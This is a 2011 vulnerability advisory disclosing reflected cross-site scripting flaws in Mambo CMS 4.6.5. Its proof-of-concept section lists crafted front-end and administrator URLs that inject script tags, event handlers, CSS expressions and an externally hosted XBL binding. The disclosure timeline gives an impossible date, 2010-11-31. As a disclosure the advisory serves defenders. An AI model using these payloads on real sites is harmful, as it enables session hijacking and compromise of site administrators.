Mambo CMS 4.6.5 Cross Site Scripting

`Mambo CMS 4.6.x (4.6.5) | Multiple Cross Site Scripting Vulnerabilities  
  
  
  
1. OVERVIEW  
  
Mambo CMS 4.6.5 and lower versions are vulnerable to Cross Site Scripting.  
  
  
2. BACKGROUND  
  
Mambo is a full-featured, award-winning content management system that  
can be used for everything from simple websites to complex corporate  
applications. It is used all over the world to power government  
portals, corporate intranets and extranets, ecommerce sites, nonprofit  
outreach, schools, church, and community sites. Mambo's "power in  
simplicity" also makes it the CMS of choice for many small businesses  
and personal sites.  
  
  
3. VULNERABILITY DESCRIPTION  
  
Multiple parameters (task, menu, menutype, zorder, search, client,  
section) are not properly sanitized, which allows attacker to conduct  
Cross Site Scripting attack. This may allow an attacker to create a  
specially crafted URL that would execute arbitrary script code in a  
victim's browser.  
  
  
4. VERSIONS AFFECTED  
  
Tested on Mambo CMS 4.6.5 (current as of 2011-06-27)  
  
  
5. PROOF-OF-CONCEPT/EXPLOIT  
  
FrontEnd  
==============  
  
param: task  
  
http://attacker.in/mambo/index.php?option=com_content&task=%22%20style=width:1000px;height:1000px;top:0;left:0;position:absolute%20onmouseover=alert%28/XSS/%29%20&id=3&Itemid=32  
  
  
BackEnd  
==============  
  
param: menu  
  
http://attacker.in/mambo/administrator/index2.php?option=com_menumanager&task=edit&hidemainmenu=1&menu=Move+your+mouse+here%22%20style=position:absolute;width:1000px;height:1000px;top:0;left:0;%20onmouseover=alert%28/XSS/%29%20  
  
  
param: menutype [hidden form xss, esp in IE 6,7 and older versions of Firefox]  
  
http://attacker.in/mambo/administrator/index2.php?option=com_menus&menutype=xss"%20style%3dx%3aexpression(alert(/XSS/))%20XSSSSSSSS  
http://attacker.in/mambo/administrator/index2.php?option=com_menus&menutype=xss"%20%20%20style=background-image:url('javascript:alert(/XSS/)');width:1000px;height:1000px;display:block;%20x=%20XSSSSSSSS  
  
  
param: zorder  
  
http://attacker.in/mambo/administrator/index2.php?limit=10&order%5b%5d=11&boxchecked=0&toggle=on&search=simple_search&task=&limitstart=0&cid%5b%5d=on&zorder=c.ordering+DESC"><script>alert(/XSS/)</script>&filter_authorid=62&hidemainmenu=0&option=com_typedcontent  
  
  
param: search  
  
http://attacker.in/mambo/administrator/index2.php?limit=10&boxchecked=0&toggle=on&search=xss"><script>alert(/XSS/)</script>&task=&limitstart=0&hidemainmenu=0&option=com_comment  
  
  
param: client  
  
http://attacker.in/mambo/administrator/index2.php?option=com_modules&client=%27%22%20onmouseover=alert%28/XSS/%29%20a=%22%27  
NB: mouseover on "banner" link  
  
  
param: section [hidden form xss, esp in IE 6,7 and older versions of Firefox]  
  
http://attacker.in/mambo/administrator/index2.php?option=com_categories&section=com_weblinks"%20style%3dx%3aexpression(alert(/XSS/))%20XSSSSSSSS&task=editA&hidemainmenu=1&id=2  
  
http://attacker.in/mambo/administrator/index2.php?option=com_categories&section=com_weblinks"%20style%3d-moz-binding:url(http://www.businessinfo.co.uk/labs/xbl/xbl.xml%23xss)%20XSSSSSSSS&task=editA&hidemainmenu=1&id=2  
  
http://attacker.in/mambo/administrator/index2.php?option=com_categories&section=com_weblinks"%20%20style=background-image:url('javascript:alert(0)');width:1000px;height:1000px;display:block;%20x=%20XSSSSSSSS&task=editA&hidemainmenu=1&id=2  
  
http://attacker.in/mambo/administrator/index2.php?option=com_categories&section=com_weblinks"%20%20style=background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%20x=%20XSSSSSSSS&task=editA&hidemainmenu=1&id=2  
  
  
6. SOLUTION  
  
The vendor seems to discontinue the development. It is recommended to  
use another CMS in active development.  
  
  
7. VENDOR  
  
Mambo CMS Development Team  
http://mambo-developer.org  
  
  
8. CREDIT  
  
This vulnerability was discovered by Aung Khant, http://yehg.net, YGN  
Ethical Hacker Group, Myanmar.  
  
  
9. DISCLOSURE TIME-LINE  
  
2010-11-31: notified vendor through bug tracker  
2011-06-27: no patched version released up to date  
2011-06-27: vulnerability disclosed  
  
  
10. REFERENCES  
  
Original Advisory URL:  
http://yehg.net/lab/pr0js/advisories/[mambo4.6.x]_cross_site_scripting  
Mambo CMS: http://mambo-code.org/gf/download/frsrelease/388/791/MamboV4.6.5.zip  
  
  
#yehg [2011-06-27]  
  
`